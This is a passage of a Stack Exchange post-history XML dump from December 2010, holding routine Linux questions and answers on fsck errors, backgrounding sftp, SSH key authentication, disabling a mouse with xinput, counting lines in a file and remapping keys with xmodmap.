below:&#xD;&#xA;&#xD;&#xA;&gt; e2fsck 1.39 (29-May-2006)  &#xD;&#xA; /dev/MyGroup/LogVol00: recovering journel  &#xD;&#xA;e2fsck: unable to set superblock flags on /dev/MyGroup/LogVol00:&#xD;&#xA;&#xD;&#xA;How can I troubleshoot this type of problem?&#xD;&#xA;" />
  <row Id="9769" PostHistoryTypeId="6" PostId="4467" RevisionGUID="5b4ec18c-af03-4836-aabc-d056dc45a7aa" CreationDate="2010-12-01T17:25:00.337" UserId="73" Comment="deleted 20 characters in body; edited tags" Text="éfilesystemsàérhelàéfsckàésuperblockà" />
  <row Id="9770" PostHistoryTypeId="2" PostId="4472" RevisionGUID="eea6aeaf-58b9-47f0-83d7-3c127c4d0b8c" CreationDate="2010-12-01T19:06:24.390" UserId="885" Text="Using an old PC for a low-computing-power application is often a false economy. You're likely to have to do a lot of maintenance as part fail (and direct costs to replace these parts if you can't find spares). You'll also be using ~100W of power where a single-board computer might use ~10W.&#xD;&#xA;&#xD;&#xA;If you already have an always-on modern PC, and your application doesn't need to be physically separate, running it in a virtual machine is the cheapest solution. Failing that, go for an ARM-based appliance (usually ends up cheaper than Intel, especially if electricity is expensive in your locale).&#xD;&#xA;" />
  <row Id="9771" PostHistoryTypeId="5" PostId="4455" RevisionGUID="a225d7b5-3e2e-40ad-9031-6f1fc432e6c1" CreationDate="2010-12-01T19:09:03.547" UserDisplayName="anurag kohli" Comment="posting solution; deleted 48 characters in body" Text="Hi All,&#xD;&#xA;&#xD;&#xA;I need to transfer a large number of files over SFTP (only between Solaris servers) which takes a very long time. I cannot keep my PC on for this duration. I tried:&#xD;&#xA;&#xD;&#xA;nohup sftp server1&#xD;&#xA;&#xD;&#xA;While the shell is open, I see files are downloaded. When I close the shell it stops. In ps -ef I don't see the sftp process. The file nohup.out states: Killed by signal 15&#xD;&#xA;&#xD;&#xA;If instead I do ctrl-z, bg, disown it works. However this requires the bash shell. I'd prefer a solution for ksh.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9772" PostHistoryTypeId="2" PostId="4473" RevisionGUID="a169ba0d-dadb-47ed-aaae-08d555b9306a" CreationDate="2010-12-01T19:09:44.730" UserDisplayName="anurag kohli" Text=" 1. sftp as normal&#xD;&#xA; 2. ctrl-z &#xD;&#xA; 3. `nohup -ga $(pgrep sftp) item`" />
  <row Id="9773" PostHistoryTypeId="5" PostId="4455" RevisionGUID="e6932adc-f2ee-426d-9099-aaa17623269b" CreationDate="2010-12-01T19:11:43.493" UserId="73" Comment="deleted 8 characters in body" Text="I need to transfer a large number of files over SFTP (only between Solaris servers) which takes a very long time. I cannot keep my PC on for this duration. I tried:&#xD;&#xA;&#xD;&#xA;    nohup sftp server1&#xD;&#xA;&#xD;&#xA;While the shell is open, I see files are downloaded. When I close the shell it stops. In `ps -ef` I don't see the `sftp` process. The file nohup.out states: Killed by signal 15&#xD;&#xA;&#xD;&#xA;If instead I do &lt;kbd&gt;ctrl-z&lt;/kbd&gt;, `bg`, `disown` it works. However this requires the bash shell; how can I do this in ksh?&#xD;&#xA;" />
  <row Id="9774" PostHistoryTypeId="6" PostId="4466" RevisionGUID="3065a3d8-bb55-4569-8979-1c374fde8e5b" CreationDate="2010-12-01T19:18:04.767" UserId="885" Comment="edited tags" Text="épowerömanagementàémonitorà" />
  <row Id="9776" PostHistoryTypeId="6" PostId="4466" RevisionGUID="e176d967-88f3-4b18-8718-b2cced590d08" CreationDate="2010-12-01T19:49:12.823" UserId="2278" Comment="edited tags" Text="éubuntuàéxorgàépowerömanagementàémonitorà" />
  <row Id="9777" PostHistoryTypeId="5" PostId="4466" RevisionGUID="afe9c3c5-a524-4e31-97a7-da5010af99a8" CreationDate="2010-12-01T20:00:15.627" UserId="2278" Comment="Updated Info; added 61 characters in body" Text="I am using `xset dpms force off` to manually turn my screen off to save power.&#xD;&#xA;However, it turns back on after some time (20 - 40 seconds).&#xD;&#xA;&#xD;&#xA;&gt; Distro: Ubuntu-Lucid &#xD;&#xA;&#xD;&#xA;&gt; Graphics: Intel 4500 MHD&#xD;&#xA;&#xD;&#xA;Trying steps in [this](http://ubuntuforums.org/showthread.php?t=1317747) solution (Turning off screensaver or wireless) did not work. Can it be due to any other reasons like network (magic packet) or usb devices?  &#xD;&#xA;&#xD;&#xA;Result of xset -p : http://dcrodjer.pastebin.com/MUJdpv4T" />
  <row Id="9778" PostHistoryTypeId="2" PostId="4475" RevisionGUID="a32576ae-13fc-4d95-9ad5-1d86fe31d8c5" CreationDate="2010-12-01T20:05:46.327" UserId="1974" Text="I just reinstalled Linux on my laptop, and I'm trying to get SSH pubkey authentication working via X11 applications. Specifically, I'm trying to use `byobu` to display the usage of a remote filesystem, and I need to SSH in as root but root has no password, o I need to use an SSH key to authenticate.&#xD;&#xA;&#xD;&#xA;In the terminal, if I `ssh root@theserver` I get right in with no password, but if I use `byoub` or nautilus to connect, it asks me for my password. How can I have it use my SSH key?&#xD;&#xA;&#xD;&#xA;I'm using Gnome on Ubuntu 10.10 in case it matters. On my previous install this worked, and I don't know if I did something before to make it work. if so, I've forgotten what... In fact, my previous install would pop up an X11 dialog asking for my SSH private key password if I needed to unlock it. How do I make that happen again?" />
  <row Id="9779" PostHistoryTypeId="1" PostId="4475" RevisionGUID="a32576ae-13fc-4d95-9ad5-1d86fe31d8c5" CreationDate="2010-12-01T20:05:46.327" UserId="1974" Text="How do I use SSH keys for passwordless SSH via X11 apps (like nautilus)?" />
  <row Id="9780" PostHistoryTypeId="3" PostId="4475" RevisionGUID="a32576ae-13fc-4d95-9ad5-1d86fe31d8c5" CreationDate="2010-12-01T20:05:46.327" UserId="1974" Text="ésshàégnomeàéx11àékeyöauthenticationà" />
  <row Id="9782" PostHistoryTypeId="2" PostId="4476" RevisionGUID="84400e4e-f379-4816-934b-f2e8a6b12925" CreationDate="2010-12-01T20:19:08.693" UserId="1974" Text="Have you tried a [&quot;Pointer Capture&quot; Gnome panel applet](http://library.gnome.org/users/gnome-access-guide/stable/id2964394.html.en)?&#xD;&#xA;&#xD;&#xA;&gt; The mouse pointer can be locked into&#xD;&#xA;&gt; an area of the screen so the pointing&#xD;&#xA;&gt; device is free for other tasks. For&#xD;&#xA;&gt; example, this capability allows a&#xD;&#xA;&gt; powerchair user to control both the&#xD;&#xA;&gt; powerchair and the mouse pointer with&#xD;&#xA;&gt; a single powerchair joystick&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Pointer Capture panel applet&#xD;&#xA;&gt; creates such an area on the panel,&#xD;&#xA;&gt; into which the user can lock the&#xD;&#xA;&gt; pointer until released in a determined&#xD;&#xA;&gt; way.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The Pointer Capture panel applet can&#xD;&#xA;&gt; be installed by right-clicking the&#xD;&#xA;&gt; GNOME Desktop menu bar / system panel,&#xD;&#xA;&gt; selecting Add to Panel, choosing&#xD;&#xA;&gt; Pointer Capture and clicking the Add&#xD;&#xA;&gt; button&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In case the description from gnome.org isn't clear, this will create an area in the panel where when the mouse enters (or you clic), the cursor will disappear and won't reappear until a defined action occurs, for example a second click. Sounds like exactly what you need?" />
  <row Id="9783" PostHistoryTypeId="2" PostId="4477" RevisionGUID="8a7f4030-57e6-4320-af7d-e283e92ec7c4" CreationDate="2010-12-01T20:22:53.273" UserId="2661" Text="First thing that we need to accomplish is turning off mouse, but only in X. For this we could use `xinput`. &#xD;&#xA;&#xD;&#xA;We need to discover input devices that are connected to computer (to X server):&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ xinput list&#xD;&#xA;    ⎡ Virtual core pointer                          id=2    [master pointer  (3)]&#xD;&#xA;    ⎜   ↳ Virtual core XTEST pointer                id=4    [slave  pointer  (2)]&#xD;&#xA;    ⎜   ↳ A4Tech USB Mouse                          id=10   [slave  pointer  (2)]&#xD;&#xA;    ⎜   ↳ Macintosh mouse button emulation          id=11   [slave  pointer  (2)]&#xD;&#xA;    ⎣ Virtual core keyboard                         id=3    [master keyboard (2)]&#xD;&#xA;         [...]&#xD;&#xA;&#xD;&#xA;Device that we need to use is `A4Tech USB Mouse` with `id=10`. Next we need to check properties of that device:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ xinput list-props &quot;A4Tech USB Mouse&quot;&#xD;&#xA;    Device 'A4Tech USB Mouse':&#xD;&#xA;           Device Enabled (121):   1&#xD;&#xA;           [....]&#xD;&#xA;&#xD;&#xA;To turn off device we need to change property `Device Enabled`:&#xD;&#xA;&#xD;&#xA;    xinput set-prop DEV PROP STATE&#xD;&#xA;    xinput set-prop &quot;A4Tech USB Mouse&quot; &quot;Device Enabled&quot; 0&#xD;&#xA;&#xD;&#xA;To turn it on:&#xD;&#xA;&#xD;&#xA;    xinput set-prop &quot;A4Tech USB Mouse&quot; &quot;Device Enabled&quot; 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Next thing is to do it automatically... ;) In this example we will be disabling mouse by keyboard shortcut and enable it by pressing left + right mouse button.&#xD;&#xA;&#xD;&#xA;For this we could use [actkbd][1] - keyboard (but not only) shortcut daemon that works outside of X server.&#xD;&#xA;&#xD;&#xA;First we need to create empty configuration file for actkbd: `touch /etc/actkbd.conf`. Next thing is to discover devices connected to computer:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ cat /proc/bus/input/devices &#xD;&#xA;    I: Bus=0003 Vendor=046d Product=c312 Version=0110&#xD;&#xA;    N: Name=&quot;BTC USB Multimedia Keyboard&quot;&#xD;&#xA;    P: Phys=usb-0000:00:1d.0-1.6/input0&#xD;&#xA;    S: Sysfs=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.6/2-1.6:1.0/input/input6&#xD;&#xA;    U: Uniq=&#xD;&#xA;    H: Handlers=kbd event3 &#xD;&#xA;    B: EV=120013&#xD;&#xA;    B: KEY=1000000000007 ff9f207ac14057ff febeffdfffefffff fffffffffffffffe&#xD;&#xA;    B: MSC=10&#xD;&#xA;    B: LED=7&#xD;&#xA;&#xD;&#xA;    I: Bus=0003 Vendor=09da Product=000a Version=0110&#xD;&#xA;    N: Name=&quot;A4Tech USB Mouse&quot;&#xD;&#xA;    P: Phys=usb-0000:00:1d.0-1.5/input0&#xD;&#xA;    S: Sysfs=/devices/pci0000:00/0000:00:1d.0/usb2/2-1/2-1.5/2-1.5:1.0/input/input8&#xD;&#xA;    U: Uniq=&#xD;&#xA;    H: Handlers=mouse1 event5 &#xD;&#xA;    B: EV=17&#xD;&#xA;    B: KEY=ff0000 0 0 0 0&#xD;&#xA;    B: REL=343&#xD;&#xA;    B: MSC=10&#xD;&#xA;&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;In this part most interesting for use are names and handlers of keyboard and mouse devices.&#xD;&#xA;&#xD;&#xA;First we handle turning off mouse by keyboard shortcut, so we need to discover key ids:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ sudo actkbd -s -d /dev/input/event3&#xD;&#xA;    Keys: 29+41+42 //we need to press keys that will turn off mouse, 29+41+42 is Ctrl + Shift + `&#xD;&#xA;&#xD;&#xA;When we know what are keys ids we need to put them to config file (`/etc/actkbd.conf`):&#xD;&#xA;&#xD;&#xA;    29+41+42:::sudo -u pbm DISPLAY=:0 xinput set-prop &quot;A4Tech USB Mouse&quot; &quot;Device Enabled&quot; 0&#xD;&#xA;&#xD;&#xA;To test it out we need to run `actkbd` in daemon mode:&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ sudo actkbd -d /dev/input/event3 -D&#xD;&#xA;&#xD;&#xA;In the same way we need to handle &quot;turn on&quot; event:&#xD;&#xA;&#xD;&#xA; 1. Check handlers of mouse device&#xD;&#xA; 2. Check key codes of left+right mouse button using `actkbd`&#xD;&#xA; 3. Put it to `actkbd.conf`&#xD;&#xA; 4. Run actkbd daemon to monitor mouse input device&#xD;&#xA;&#xD;&#xA;Running daemons could be realized as init script or autorun script in environment.&#xD;&#xA;&#xD;&#xA;To automatically turning mouse off we could monitor input device (`cat /dev/input/event5`) and turn it off when there is no input...&#xD;&#xA;&#xD;&#xA;I hope that my short intro will help you... ;)&#xD;&#xA;&#xD;&#xA;  [1]: http://users.softlab.ece.ntua.gr/~thkala/projects/actkbd/" />
  <row Id="9784" PostHistoryTypeId="5" PostId="4459" RevisionGUID="bcb10bde-b370-486b-9a14-73fa64fc687e" CreationDate="2010-12-01T20:26:56.800" UserId="2511" Comment="add /tmp" Text="The literal answer is as others have given: because the current directory isn't in your `$PATH`.&#xD;&#xA;&#xD;&#xA;But *why?* In short, it's for security. If you're looking in someone else's home directory (or /tmp), and type just `gcc` or `ls`, you want to know you're running the real one, not a malicious version your prankster friend has written which erases all your files. Having `.` as the *last* entry in your path is a bit safer, but there are other attacks which make use of that. " />
  <row Id="9785" PostHistoryTypeId="2" PostId="4478" RevisionGUID="51f50b3b-5a6b-41c8-b8d6-ef7b003a3e70" CreationDate="2010-12-01T22:11:13.333" UserId="2301" Text="I'm sure there are many ways to do this: how can I count the number of lines in a text file?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ &lt;cmd&gt; file.txt&#xD;&#xA;    1020 lines&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;" />
  <row Id="9786" PostHistoryTypeId="1" PostId="4478" RevisionGUID="51f50b3b-5a6b-41c8-b8d6-ef7b003a3e70" CreationDate="2010-12-01T22:11:13.333" UserId="2301" Text="count lines in a file" />
  <row Id="9787" PostHistoryTypeId="3" PostId="4478" RevisionGUID="51f50b3b-5a6b-41c8-b8d6-ef7b003a3e70" CreationDate="2010-12-01T22:11:13.333" UserId="2301" Text="ébashà" />
  <row Id="9788" PostHistoryTypeId="2" PostId="4479" RevisionGUID="84ba23cd-50c6-42cb-aa8d-b941dad484c3" CreationDate="2010-12-01T22:16:24.590" UserId="73" Text="The standard way is with `wc`, which takes arguments to specify what it should count (bytes, chars, words, etc.); `-l` is for lines:&#xD;&#xA;&#xD;&#xA;    $ wc -l file.txt&#xD;&#xA;    1020 file.txt&#xD;&#xA;" />
  <row Id="9789" PostHistoryTypeId="2" PostId="4480" RevisionGUID="b3412011-cbca-4f9e-8a22-a5df9fdb3296" CreationDate="2010-12-01T22:31:33.840" UserId="2759" Text="I've had that problem before, basically my mouse was causing it, flip the side on it's back when you aren't using it." />
  <row Id="9790" PostHistoryTypeId="5" PostId="4053" RevisionGUID="19253573-39e5-4e24-a674-231c21bd1fde" CreationDate="2010-12-01T22:42:43.980" UserId="2648" Comment="deleted 14 characters in body" Text="Well some of the programs include:&#xD;&#xA;&lt;br&gt;- f-spot&#xD;&#xA;&lt;br&gt;- gthumb&#xD;&#xA;&#xD;&#xA;They are easy to use but their options are pretty poor comparing to Inkscape or Gimp (even though Inscape is used for vector editing and Gimp for raster).&#xD;&#xA;&#xD;&#xA;Have in mind that Gimp is **worth** of trying a little harder since when you master the basic funcionts in it will boost your image editing on daily basis. If you dont like current UI of Gimp, use v2.7 to get single window UI (like photoshop). Check this out for Gimp:&#xD;&#xA;http://www.tuxradar.com/gimp . There you can get a bunch of nice and free PDFs for Gimp usage and stuff." />
  <row Id="9791" PostHistoryTypeId="10" PostId="4462" RevisionGUID="e5e630bc-91dc-4da4-adc6-7a0bcdac221f" CreationDate="2010-12-01T22:57:10.280" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="9792" PostHistoryTypeId="5" PostId="4462" RevisionGUID="e44e9b33-3fe4-46cc-9b4e-63e0295314c8" CreationDate="2010-12-01T22:57:10.420" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Make package explicitly installed in pacman](http://unix.stackexchange.com/questions/1993/make-package-explicitly-installed-in-pacman)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;So I've been stupid and removed my /var/lib/pacman/local dir.  &#xD;&#xA;Without backup, but with a root shell open at tty4. &#xD;&#xA;O yeah, pacman -Sf &lt;package&gt; with the base repo also overwrites your /etc/passwd. Thank god for .pacorig.  &#xD;&#xA;  &#xD;&#xA;    &#xD;&#xA;I still have my pacman logs, but all the packages are already installed. Pacman outputs errors that the files already exist.   &#xD;&#xA;How can I install packages without modifying files? (pacman -S --fake --noextract)   &#xD;&#xA;I've also tried the -D switch but that only works for installed packages.  &#xD;&#xA;" />
  <row Id="9793" PostHistoryTypeId="2" PostId="4481" RevisionGUID="170acc60-0d1e-433c-80a1-988858805cf7" CreationDate="2010-12-01T23:04:48.330" UserId="2901" Text="Depending which PS command you use I use&#xD;&#xA;&#xD;&#xA;ps -auxw&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9794" PostHistoryTypeId="2" PostId="4482" RevisionGUID="a9d48192-3ce5-4193-8e7a-5c64f1453592" CreationDate="2010-12-01T23:18:43.217" UserId="1207" Text="As Michael said, `wc` is the way to go.  But, just in case, here are two Perl solutions:&#xD;&#xA;&#xD;&#xA;    $ perl -lne 'END { print $. }' file.txt&#xD;&#xA;&#xD;&#xA;and the far less readable:&#xD;&#xA;   &#xD;&#xA;    $ perl -lne '}{ print $.' file.txt&#xD;&#xA;" />
  <row Id="9798" PostHistoryTypeId="5" PostId="4475" RevisionGUID="a3539832-2ad8-445f-b76f-475b58bb4c46" CreationDate="2010-12-02T00:43:47.020" UserId="250" Comment="edited body" Text="I just reinstalled Linux on my laptop, and I'm trying to get SSH pubkey authentication working via X11 applications. Specifically, I'm trying to use `byobu` to display the usage of a remote filesystem, and I need to SSH in as root but root has no password, o I need to use an SSH key to authenticate.&#xD;&#xA;&#xD;&#xA;In the terminal, if I `ssh root@theserver` I get right in with no password, but if I use `byobu` or nautilus to connect, it asks me for my password. How can I have it use my SSH key?&#xD;&#xA;&#xD;&#xA;I'm using Gnome on Ubuntu 10.10 in case it matters. On my previous install this worked, and I don't know if I did something before to make it work. if so, I've forgotten what... In fact, my previous install would pop up an X11 dialog asking for my SSH private key password if I needed to unlock it. How do I make that happen again?" />
  <row Id="9800" PostHistoryTypeId="6" PostId="4478" RevisionGUID="8da80f56-59b3-4f14-be08-fa18f48f5a4b" CreationDate="2010-12-02T01:26:21.187" UserId="688" Comment="edited tags" Text="écommandölineà" />
  <row Id="9801" PostHistoryTypeId="5" PostId="4440" RevisionGUID="b8cd29b3-c555-46e3-86a0-5902f846866d" CreationDate="2010-12-02T01:48:53.063" UserId="2180" Comment="add details" Text="According to [Gnome's Desktop Application Autostart Specification][1], I should be able to have a program execute simply by naming it any of &quot;.autorun&quot;, &quot;autorun&quot;, or &quot;autorun.sh&quot;. None of these seem to work: I get a prompt from nautilus-autorun-software asking if I want to let it run, I say &quot;Run&quot;, and it results in a dialog that says &quot;Error autorunning software: Cannot find the autorun program&quot;. Is it a bug or am I not doing something correctly?&#xD;&#xA;&#xD;&#xA;The autorun file contains the following:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    gnome-terminal -x sh -c '~/bin/podcatcher/copypodcasts.sh; echo Done!; read pause'&#xD;&#xA;&#xD;&#xA;It works if I manually run the autorun file.&#xD;&#xA;&#xD;&#xA;The filesystem is fat, here's the mtab entry:&#xD;&#xA;/dev/sdd1 /media/disk vfat rw,nosuid,nodev,uhelper=udisks,uid=1000,gid=1000,shortname=mixed,dmask=0077,utf8=1,showexec,flush 0 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://library.gnome.org/devel/autostart-spec/#mounting" />
  <row Id="9802" PostHistoryTypeId="5" PostId="4440" RevisionGUID="15c2b731-59b0-4b34-a641-f5b01b264315" CreationDate="2010-12-02T02:26:00.130" UserId="2180" Comment="formatting" Text="According to [Gnome's Desktop Application Autostart Specification][1], I should be able to have a program execute simply by naming it any of &quot;.autorun&quot;, &quot;autorun&quot;, or &quot;autorun.sh&quot;. None of these seem to work: I get a prompt from nautilus-autorun-software asking if I want to let it run, I say &quot;Run&quot;, and it results in a dialog that says &quot;Error autorunning software: Cannot find the autorun program&quot;. Is it a bug or am I not doing something correctly?&#xD;&#xA;&#xD;&#xA;The autorun file contains the following:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    gnome-terminal -x sh -c '~/bin/podcatcher/copypodcasts.sh; echo Done!; read pause'&#xD;&#xA;&#xD;&#xA;It works if I manually run the autorun file.&#xD;&#xA;&#xD;&#xA;The filesystem is fat, here's the mtab entry:&#xD;&#xA;&#xD;&#xA;    /dev/sdd1 /media/disk vfat rw,nosuid,nodev,uhelper=udisks,uid=1000,gid=1000,shortname=mixed,dmask=0077,utf8=1,showexec,flush 0 0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://library.gnome.org/devel/autostart-spec/#mounting" />
  <row Id="9803" PostHistoryTypeId="2" PostId="4484" RevisionGUID="1c3b8242-fb37-4187-a16b-f2d7a1aa5c2d" CreationDate="2010-12-02T04:05:50.640" UserId="2925" Text="I've been using public key authentication on a remote server for some time now for remote shell use as well as for sshfs mounts. After forcing a umount of my sshfs directory, I noticed that ssh began to prompt me for a password. I tried purging the remote .ssh/authorized_keys from any mention the local machine, and I cleaned the local machine from references to the remote machine. I then repeated my ssh-copy-id, it prompted me for a password, and returned normally. But lo and behold, when I ssh to the remote server I am still prompted for a password. I'm a little confused as to what the issue could be, any suggestions?&#xD;&#xA;" />
  <row Id="9804" PostHistoryTypeId="1" PostId="4484" RevisionGUID="1c3b8242-fb37-4187-a16b-f2d7a1aa5c2d" CreationDate="2010-12-02T04:05:50.640" UserId="2925" Text="ssh prompts for password despite ssh-copy-id" />
  <row Id="9805" PostHistoryTypeId="3" PostId="4484" RevisionGUID="1c3b8242-fb37-4187-a16b-f2d7a1aa5c2d" CreationDate="2010-12-02T04:05:50.640" UserId="2925" Text="ésshà" />
  <row Id="9806" PostHistoryTypeId="2" PostId="4485" RevisionGUID="0a23fa56-b3cc-4aa5-bf52-4949683f939c" CreationDate="2010-12-02T04:34:17.047" UserId="2925" Text="I am attempting to remap my keyboard in order to make emacs usable - my ergonomic keyboard puts its single Control key in an isolated 4-key island way off to the left.&#xD;&#xA;&#xD;&#xA;Here are the lines I am attempting to feed to `xmodmap`&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;clear Control&#xD;&#xA;clear Mod1&#xD;&#xA;! The Alt keys are labled 'Option' on my keyboard, &#xD;&#xA;! using xev shows them to send Alt_L and Alt_R keysym's respectively &#xD;&#xA;keysym Alt_L = Control_L&#xD;&#xA;keysym Alt_R = Control_R&#xD;&#xA;! The Super_L and Super_R keys are the Windows keys&#xD;&#xA;keysym Super_L = Alt_L&#xD;&#xA;keysym Super_R = Alt_R&#xD;&#xA;add Control = Control_L Control_R&#xD;&#xA;add Mod1 = Alt_L Alt_R&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Placing that into a file called `$HOME/.Xmodmap` and running `xmodmap ~/.Xmodmap` produces the following error:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;Value in failed request:  0x17&#xD;&#xA;Serial number of failed request:  17&#xD;&#xA;Current serial number in output stream:  17&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;whats the deal?" />
  <row Id="9807" PostHistoryTypeId="1" PostId="4485" RevisionGUID="0a23fa56-b3cc-4aa5-bf52-4949683f939c" CreationDate="2010-12-02T04:34:17.047" UserId="2925" Text="Reassign Ctl and Alt keys - xmodmap error" />
  <row Id="9808" PostHistoryTypeId="3" PostId="4485" RevisionGUID="0a23fa56-b3cc-4aa5-bf52-4949683f939c" CreationDate="2010-12-02T04:34:17.047" UserId="2925" Text="éxorgàékeyboardàéx11à" />
  <row Id="9809" PostHistoryTypeId="2" PostId="4486" RevisionGUID="64aec51b-9685-4d8d-98cf-02f3c96fbb39" CreationDate="2010-12-02T06:44:10.917" UserId="2909" Text="Doesn't work for me:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo pacman -D --asexplicit firefox&#xD;&#xA;    error: could not set install reason for package firefox (could not find or read package)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This also fails:  &#xD;&#xA;&#xD;&#xA;    sudo pacman -S --asexplicit firefox&#xD;&#xA;    [...]&#xD;&#xA;    error: failed to commit transaction (conflicting files)&#xD;&#xA;    firefox: /usr/bin/firefox exists in filesystem&#xD;&#xA;    [...]&#xD;&#xA;    firefox: /usr/share/pixmaps/firefox.png exists in filesystem&#xD;&#xA;    Errors occurred, no packages were upgraded.&#xD;&#xA;" />
  <row Id="9810" PostHistoryTypeId="5" PostId="4482" RevisionGUID="babae7e2-b4d7-4edb-989a-9a3437cb16c4" CreationDate="2010-12-02T08:16:20.453" UserId="1207" Comment="added 244 characters in body" Text="As Michael said, `wc -l` is the way to go.  But, just in case you inexplicably have `bash`, `perl`, or `awk` but not `wc`, here are a few more solutions:&#xD;&#xA;&#xD;&#xA;###Bash-only&#xD;&#xA;&#xD;&#xA;    $ LINECT=0; while read LINE; do (( LINECT++ )); done &lt; file.txt; echo $LINECT&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Perl Solutions&#xD;&#xA;&#xD;&#xA;    $ perl -lne 'END { print $. }' file.txt&#xD;&#xA;&#xD;&#xA;and the far less readable:&#xD;&#xA;   &#xD;&#xA;    $ perl -lne '}{ print $.' file.txt&#xD;&#xA;###Awk Solution&#xD;&#xA;&#xD;&#xA;    $  awk 'END {print NR}' file.txt" />
  <row Id="9811" PostHistoryTypeId="2" PostId="4487" RevisionGUID="3773702e-9daa-4902-9a7e-c4e369271977" CreationDate="2010-12-02T11:27:53.310" UserId="1131" Text="I am searching for a small new-email-notifier for IMAP mailboxes that displays it's status in the icon-bar (how do you call it?) of a window manager.&#xD;&#xA;&#xD;&#xA;Basically some biff/xbiff like tool ported to 21th century technology. ;)&#xD;&#xA;&#xD;&#xA;I am using awesomewm, which is able to display in its taskbar the 'applets' (?), which also work under gnome (I guess that it implements some freedesktop standard).&#xD;&#xA;&#xD;&#xA;Basic requirements:&#xD;&#xA;&#xD;&#xA;* should not waste memory/CPU (e.g. a pythonGTK based solution probably would)&#xD;&#xA;* configurable poll intervalls&#xD;&#xA;* should not distract too much&#xD;&#xA;* nice interface&#xD;&#xA;&#xD;&#xA;Nice to have:&#xD;&#xA;&#xD;&#xA;* optional configuration of a user defined action (executing an external command)&#xD;&#xA;" />
  <row Id="9812" PostHistoryTypeId="1" PostId="4487" RevisionGUID="3773702e-9daa-4902-9a7e-c4e369271977" CreationDate="2010-12-02T11:27:53.310" UserId="1131" Text="IMAP mail notifier for window manager/task bar?" />
  <row Id="9813" PostHistoryTypeId="3" PostId="4487" RevisionGUID="3773702e-9daa-4902-9a7e-c4e369271977" CreationDate="2010-12-02T11:27:53.310" UserId="1131" Text="éxorgàéimapà" />
  <row Id="9814" PostHistoryTypeId="5" PostId="4487" RevisionGUID="1d001427-eb5b-4066-b8d1-fb38287799a8" CreationDate="2010-12-02T11:36:57.017" UserId="1131" Comment="imaps" Text="I am searching for a small new-email-notifier for IMAP mailboxes that displays it's status in the icon-bar (how do you call it?) of a window manager.&#xD;&#xA;&#xD;&#xA;Basically some biff/xbiff like tool ported to 21th century technology. ;)&#xD;&#xA;&#xD;&#xA;I am using awesomewm, which is able to display in its taskbar the 'applets' (?), which also work under gnome (I guess that it implements some freedesktop standard).&#xD;&#xA;&#xD;&#xA;Basic requirements:&#xD;&#xA;&#xD;&#xA;* should not waste memory/CPU (e.g. a pythonGTK based solution probably would)&#xD;&#xA;* support for IMAPS, and should check the host TLS certificate&#xD;&#xA;* configurable poll intervalls&#xD;&#xA;* should not distract too much&#xD;&#xA;* nice interface&#xD;&#xA;&#xD;&#xA;Nice to have:&#xD;&#xA;&#xD;&#xA;* optional configuration of a user defined action (executing an external command)&#xD;&#xA;" />
  <row Id="9815" PostHistoryTypeId="5" PostId="4475" RevisionGUID="64248960-2396-4391-9295-7837d7df0350" CreationDate="2010-12-02T12:43:58.610" UserId="1974" Comment="Corrected the name of the program I was using" Text="I just reinstalled Linux on my laptop, and I'm trying to get SSH pubkey authentication working via X11 applications. Specifically, I'm trying to use `baobab` to display the usage of a remote filesystem, and I need to SSH in as root but root has no password, o I need to use an SSH key to authenticate.&#xD;&#xA;&#xD;&#xA;In the terminal, if I `ssh root@theserver` I get right in with no password, but if I use Baobab or Nautilus to connect, it asks me for my password. How can I have it use my SSH key?&#xD;&#xA;&#xD;&#xA;I'm using Gnome on Ubuntu 10.10 in case it matters. On my previous install this worked, and I don't know if I did something before to make it work. if so, I've forgotten what... In fact, my previous install would pop up an X11 dialog asking for my SSH private key password if I needed to unlock it. How do I make that happen again?" />
  <row Id="9816" PostHistoryTypeId="2" PostId="4488" RevisionGUID="d7e6fc9f-5152-47fc-bd4e-a014ccd3804a" CreationDate="2010-12-02T13:19:46.177" UserId="1946" Text="Have looked at `gnubiff`?  I use it under GNOME for file mailbox, but it supports IMAP too." />
